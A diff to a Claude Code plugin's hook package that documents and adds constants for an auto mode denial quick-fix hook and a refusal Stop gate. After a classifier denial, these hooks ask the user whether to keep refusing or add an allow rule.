- `advisory/auto_mode_denial_quick_fix.py` proposes one `autoMode.allow` entry and a PowerShell block that writes it after an auto mode denial. It names the rule from the denial's `reason` and never retries the denied call. A rule label keeps only ASCII letters, digits, spaces, `-`, `_` and `/`, and a `reason` that is not text, says the classifier gave no verdict, or says a hook changed the input after review counts as no verdict, so it gets no allow entry block. A leading `Reason:` is dropped before the label is read. When `CLAUDE_AUTO_MODE_RULE_PLAYBOOK` names an existing file, it also keeps the refusal ledger under `<config>/state/auto-mode-refusals/<session_id>/`: one entry per distinct refused step, whose id comes from the tool name and the `tool_input` without its `description`, so a retry with a new description keeps the first entry, and one question record per question text, and it appends the group's exact question to the agent's context. It reads the user's answers from the transcript first, and writes no entry for a reason with no rule label or for one of the rule flow's own steps. `auto_mode_rule_steps.py` names those steps. It skips a command only on an exact match against a short table, and every other command gets an entry. A command is a rule step only when the tool is Bash, the `cwd` is an absolute path, and every character of the command is an ASCII letter, a digit, a plain space, `.`, `_`, `/`, `:`, `=`, `-` or a quote, so braces, globs, tabs and every shell operator fail. Its shell words must match one row of `ALL_ACCEPTED_SHAPES` in `hooks_constants/auto_mode_rule_steps_constants.py` exactly: `python3 setup/add_auto_mode_rule.py validate` or `python3 setup/add_auto_mode_rule.py add` followed by any words, `git commit -m` followed by one word, and `git push -u origin` or `git push origin` followed by one branch that matches `claude/auto-mode-rule-[a-z0-9-]+` in full. The `cwd`, after `os.path.realpath`, must be the rule repository root, or a linked worktree of it: its `.git` file and `commondir` lead to the root's `.git`, and the worktree's `gitdir` file points back to that same `.git` file, so a copied worktree folder fails. A `.git` that is a symbolic link fails too. The git rows also need an allowed entry in the session's ledger, and the commit row needs that folder's `HEAD` on a branch that matches the same pattern in full. So a `cd`, a `git -C` or `git -c` option, an env prefix, a pipe such as `validate | tail -5`, a multi-line block, `git add`, `git push --all`, `--mirror`, `--tags` or `--delete`, a push URL, a rule tool path other than `setup/add_auto_mode_rule.py`, a missing `cwd`, an Edit of `add_auto_mode_rule.py`, a push of another branch, a `gh pr merge`, and a folder such as `~/agent-channels-old` all get an entry. A command that does not split into words, or a git file that cannot be read, gets an entry too. `auto_mode_refusal_ledger.py` holds the ledger: the question text, the one question record writer, the answer reader, and the glue the hook calls. Each refusal adds its entry and rewrites the question records while it holds `.ledger.lock` in the session's ledger folder, so refusals from parallel tool calls get distinct sequences and one record lists every id; a lock older than two seconds is removed. `auto_mode_refusal_ledger_files.py` holds where the files live, the entry ids, and the reads and writes. It parses each file into a typed entry or question record and skips a file that does not parse. Any ledger or transcript error of any type, and a playbook whose folder two levels up does not hold both `.git` and `setup/add_auto_mode_rule.py`, give today's output with exit 0. That folder is the rule repository. A record keeps the transcript size at its write as `transcript_offset`, and an answer counts only from an `AskUserQuestion` call at or after it whose question text is equal to the record's, or is the card question for the record's tool when no other record of that tool was written at or before the call. `auto_mode_question_transcript.py` reads the answered calls from the transcript.
|
|
19
|
+
- `blocking/auto_mode_refusal_stop_gate.py` holds the turn end while the flow switch names an existing playbook and `CLAUDE_CODE_ENTRYPOINT` is not `sdk-cli`. A hold exits 2 with a block object, through `hold_stop`; a Cursor payload with a `conversation_id` gets exit 0 and the text in `followup_message`. Its header gives the card question form only in the sentence for the decision card tools, and says AskUserQuestion takes only the Question line. It holds for a pending ledger entry that has not been asked, listing four groups at most with each question, the two labels, each step's action summary, the playbook path and each ledger file path. An entry counts as asked when an answered `AskUserQuestion` call at or after its question record's `transcript_offset` holds the record's exact question, or when a decision card claims it. A card is an `mcp__hearthbot__ask_decision` or `mcp__hearthbot__request_decision` call that did not fail and holds `Should auto mode have refused this <tool> step?`. Each card claims only the oldest pending, unasked group of its tool that has an entry with a question record at or before the card, and only those entries. A card or add call counts only once its result is in the transcript. The entry keeps the card's offset as `question_card_offset`, so a later Stop never claims again with the same card. It also holds for an allowed entry that no Bash call that did not fail has named with `add_auto_mode_rule.py add` and its id, naming the playbook path and its ledger file. It keeps `question_holds`, `rule_holds`, `question_asked` and `question_card_offset` in each entry file, and holds an entry twice at most for each kind whether or not `stop_hook_active` is set. The ledger reader skips an entry file whose name is not `<id>.json` for the id it holds, and an entry whose `question_holds` or `rule_holds` is not an integer of 0 or more, so neither can hold. The hold text asks the agent to write only each question's oldest step in a code block and the count of the rest before the question. For four groups of five steps whose 160-character summaries hold 80 one-letter words each, that brief with each question added stays under the question brief limit of 450 words and holds no list item. The question brief check also counts the reply written before the hold, so the hold text tells the agent to ask again once with the same brief when that check refuses the question. A transcript it cannot read counts as no calls, so the gate still holds, twice at most. A missing session id or ledger folder, any other error, and a reader that closes stdout let the turn end; the counts are written before the hold text, so a dropped hold still uses one count.
|
|
19
20
|
|
|
20
21
|
## When it fires
|
|
21
22
|
|
|
@@ -27,6 +28,7 @@ This family injects reminders and task guidance when an agent starts, resumes, s
|
|
|
27
28
|
- `session/npx_pele_guidance.py` runs on `PreToolUse` matcher `Bash|PowerShell` at `10` seconds in `hooks.json`. It speaks only on an `npx` command with a `pele` argument, or an `npm exec` or `npm x` command with one after `exec` or `x`.
|
|
28
29
|
- `advisory/pieces_per_level_note.py` (with its analysis in `advisory/pieces_per_level_analysis.py`) runs on `PreToolUse` matcher `Bash|PowerShell|mcp__.*__create_pull_request` at `10` seconds in `hooks.json`. It reads `-m`, `--message`, `-F` and `--file` of `git commit`, the `--title` and `--body-file` of the `gh` and `pull_request.py` create calls, and the `title` and `body` of a `create_pull_request` tool.
|
|
29
30
|
- `advisory/auto_mode_denial_quick_fix.py` runs on `PermissionDenied`, matcher `*`, timeout `10` seconds in `hooks.json`.
|
|
31
|
+
- `blocking/auto_mode_refusal_stop_gate.py` runs on `Stop`, timeout `10` seconds in `hooks.json`.
|
|
30
32
|
|
|
31
33
|
## Proving it
|
|
32
34
|
|
|
@@ -44,7 +46,8 @@ Preconditions:
|
|
|
44
46
|
- **Artifact template pointer.** Input is an `Artifact` quickstart call. Run `python -m pytest packages/claude-dev-env/hooks/session/test_artifact_template_pointer.py -q`. The adjacent test observes the status flowchart path first, the html-plan path ahead of the template path in `additionalContext`, and silence on a publish call or another skill.
|
|
45
47
|
- **npx pele guidance.** Input is a `Bash` or `PowerShell` call whose command runs `npx pele`. Run `python -m pytest packages/claude-dev-env/hooks/session/test_npx_pele_guidance.py -q`. The adjacent test observes the guidance for each install state, a snippet that renders an SVG file under node, and silence on other commands and malformed input.
|
|
46
48
|
- **Pieces per level note.** Input is a commit subject or pull request title that joins verb-led clauses, a body with three without/with pairs, three single-behaviour subjects, and a malformed payload. Run `python -m pytest packages/claude-dev-env/hooks/advisory/test_pieces_per_level_note.py packages/claude-dev-env/hooks/advisory/test_piece_clauses.py -q`. The adjacent tests observe a note and exit 0 for the first two, and no output with exit 0 for the rest.
|
|
47
|
-
- **Denial quick fix.** Input is a `PermissionDenied` event
|
|
49
|
+
- **Denial quick fix.** Input is a `PermissionDenied` event in the Claude Code 2.1.325 shape, whose `reason` holds a bracketed label, a bare label, plain prose, an `Auto mode could not evaluate this action` note, or `Classifier unavailable`. Run `python -m pytest packages/claude-dev-env/hooks/advisory/test_auto_mode_denial_quick_fix.py -q`. The adjacent test observes the named rule, the allow entry, and the PowerShell block for each reason with a verdict, with plain prose named by its first sentence and a rule wording command with no `--label`; the two no-verdict reasons and a `reason` that is not text get a note and no block. Hostile labels and entries run through `pwsh` and stay inside their quotes.
|
|
50
|
+
- **Refusal Stop gate.** Input is a refusal ledger and a transcript played by the flow cases. Run `python packages/claude-dev-env/hooks/advisory/auto_mode_rule_flow_eval/auto_mode_rule_flow_runner.py` and `python -m pytest packages/claude-dev-env/hooks/blocking/test_auto_mode_refusal_stop_gate.py -q`. The runner observes every case pass; the adjacent test observes the question and rule holds, their counts, and the exits.
|
|
48
51
|
|
|
49
52
|
## Gotchas
|
|
50
53
|
|
package/hooks/hooks.json
CHANGED
|
@@ -475,6 +475,11 @@
|
|
|
475
475
|
"command": "python3 ${CLAUDE_PLUGIN_ROOT}/hooks/blocking/open_tasks_stop_gate.py",
|
|
476
476
|
"timeout": 10
|
|
477
477
|
},
|
|
478
|
+
{
|
|
479
|
+
"type": "command",
|
|
480
|
+
"command": "python3 ${CLAUDE_PLUGIN_ROOT}/hooks/blocking/auto_mode_refusal_stop_gate.py",
|
|
481
|
+
"timeout": 10
|
|
482
|
+
},
|
|
478
483
|
{
|
|
479
484
|
"type": "command",
|
|
480
485
|
"command": "python3 ${CLAUDE_PLUGIN_ROOT}/hooks/blocking/turn_review_gate.py",
|
|
@@ -10,7 +10,15 @@ from __future__ import annotations
|
|
|
10
10
|
|
|
11
11
|
__all__ = [
|
|
12
12
|
"HOOK_EVENT_NAME",
|
|
13
|
-
"
|
|
13
|
+
"ALL_NO_VERDICT_REASON_PREFIXES",
|
|
14
|
+
"UNEXPLAINED_VERDICT_REASON_PREFIX",
|
|
15
|
+
"UNEXPLAINED_RULE_LABEL",
|
|
16
|
+
"BRACKETED_LABEL_PATTERN",
|
|
17
|
+
"BARE_LABEL_PATTERN",
|
|
18
|
+
"SENTENCE_END_PATTERN",
|
|
19
|
+
"RULE_LABEL_DISALLOWED_CHARACTER_PATTERN",
|
|
20
|
+
"ALL_POWERSHELL_SINGLE_QUOTE_CHARACTERS",
|
|
21
|
+
"MAXIMUM_PROSE_RULE_NAME_CHARACTERS",
|
|
14
22
|
"UNNAMED_RULE_LABEL",
|
|
15
23
|
"MAXIMUM_ACTION_SUMMARY_CHARACTERS",
|
|
16
24
|
"TRUNCATION_MARKER",
|
|
@@ -18,13 +26,36 @@ __all__ = [
|
|
|
18
26
|
"ALL_COMMAND_INPUT_KEYS",
|
|
19
27
|
"ALLOW_ENTRY_TEMPLATE",
|
|
20
28
|
"POWERSHELL_BLOCK_TEMPLATE",
|
|
29
|
+
"LABELLED_RULE_WORDING_COMMAND_TEMPLATE",
|
|
30
|
+
"UNLABELLED_RULE_WORDING_COMMAND",
|
|
31
|
+
"LABELLED_RULE_WORDING_LINE_TEMPLATE",
|
|
32
|
+
"UNLABELLED_RULE_WORDING_LINE_TEMPLATE",
|
|
21
33
|
"VERDICT_CONTEXT_TEMPLATE",
|
|
22
34
|
"NO_VERDICT_CONTEXT_TEMPLATE",
|
|
23
35
|
"USER_MESSAGE_TEMPLATE",
|
|
36
|
+
"CLASSIFIER_REASON_PREFIX_PATTERN",
|
|
37
|
+
"QUESTION_CONTEXT_TEMPLATE",
|
|
38
|
+
"DEFAULT_TOOL_NAME",
|
|
24
39
|
]
|
|
25
40
|
|
|
26
41
|
HOOK_EVENT_NAME = "PermissionDenied"
|
|
27
|
-
|
|
42
|
+
DEFAULT_TOOL_NAME = "tool"
|
|
43
|
+
ALL_NO_VERDICT_REASON_PREFIXES = (
|
|
44
|
+
"auto mode could not evaluate this action",
|
|
45
|
+
"classifier unavailable",
|
|
46
|
+
"the server-side auto mode classifier gave no verdict",
|
|
47
|
+
"a hook changed this call's input after auto mode reviewed it",
|
|
48
|
+
)
|
|
49
|
+
UNEXPLAINED_VERDICT_REASON_PREFIX = "the server-side auto mode classifier judged this action dangerous"
|
|
50
|
+
UNEXPLAINED_RULE_LABEL = "Unexplained"
|
|
51
|
+
BRACKETED_LABEL_PATTERN = r"^\s*\[(?P<label>[^\]]+)\]\s*(?P<prose>.*)$"
|
|
52
|
+
BARE_LABEL_PATTERN = (
|
|
53
|
+
r"^\s*(?P<label>[A-Z][\w-]*(?:\s+[A-Z][\w-]*)+)\s*(?:[,:;.]|\s-\s|$)\s*(?P<prose>.*)$"
|
|
54
|
+
)
|
|
55
|
+
SENTENCE_END_PATTERN = r"[.!?](?:\s+|$)"
|
|
56
|
+
RULE_LABEL_DISALLOWED_CHARACTER_PATTERN = r"[^A-Za-z0-9 _/-]"
|
|
57
|
+
ALL_POWERSHELL_SINGLE_QUOTE_CHARACTERS = ("'", "\u2018", "\u2019", "\u201a", "\u201b")
|
|
58
|
+
MAXIMUM_PROSE_RULE_NAME_CHARACTERS = 80
|
|
28
59
|
UNNAMED_RULE_LABEL = "unnamed rule"
|
|
29
60
|
MAXIMUM_ACTION_SUMMARY_CHARACTERS = 160
|
|
30
61
|
TRUNCATION_MARKER = "..."
|
|
@@ -64,7 +95,12 @@ In your next message to the user, propose these two fixes. Do not retry and do n
|
|
|
64
95
|
```
|
|
65
96
|
|
|
66
97
|
For cloud sessions, the same entry must land in the ~/.claude/settings.json that the session's setup installs.
|
|
67
|
-
|
|
98
|
+
{rule_wording_line}"""
|
|
99
|
+
|
|
100
|
+
LABELLED_RULE_WORDING_COMMAND_TEMPLATE = "claude auto-mode defaults --label '{escaped_label}'"
|
|
101
|
+
UNLABELLED_RULE_WORDING_COMMAND = "claude auto-mode defaults"
|
|
102
|
+
LABELLED_RULE_WORDING_LINE_TEMPLATE = "Read the rule wording with: {command}"
|
|
103
|
+
UNLABELLED_RULE_WORDING_LINE_TEMPLATE = "Find the matching rule with: {command}"
|
|
68
104
|
|
|
69
105
|
NO_VERDICT_CONTEXT_TEMPLATE = """\
|
|
70
106
|
=== AUTO MODE DENIAL QUICK FIX ===
|
|
@@ -77,3 +113,15 @@ An autoMode.allow entry cannot clear a denial with no verdict. Tell the user the
|
|
|
77
113
|
USER_MESSAGE_TEMPLATE = (
|
|
78
114
|
"Auto mode blocked {tool_name} [{rule_label}]. Claude will propose a quick fix."
|
|
79
115
|
)
|
|
116
|
+
|
|
117
|
+
CLASSIFIER_REASON_PREFIX_PATTERN = (
|
|
118
|
+
r"^\s*(?:Permission for this action was denied by the Claude Code auto mode classifier\.\s*)?"
|
|
119
|
+
r"(?:Reason:\s*)?"
|
|
120
|
+
)
|
|
121
|
+
|
|
122
|
+
QUESTION_CONTEXT_TEMPLATE = """
|
|
123
|
+
|
|
124
|
+
=== AUTO MODE QUESTION ===
|
|
125
|
+
Ask this question in place of the two fixes above, and do not write them out. Before you end the turn, ask the user this question with one AskUserQuestion call. Copy the question word for word, use the header `Auto mode`, and give the options `Keep refusing` and `Allow it`:
|
|
126
|
+
{question}
|
|
127
|
+
On Allow it, follow {playbook_path}: retry the step once and add one allow rule for this kind of step. On Keep refusing, go on with other work."""
|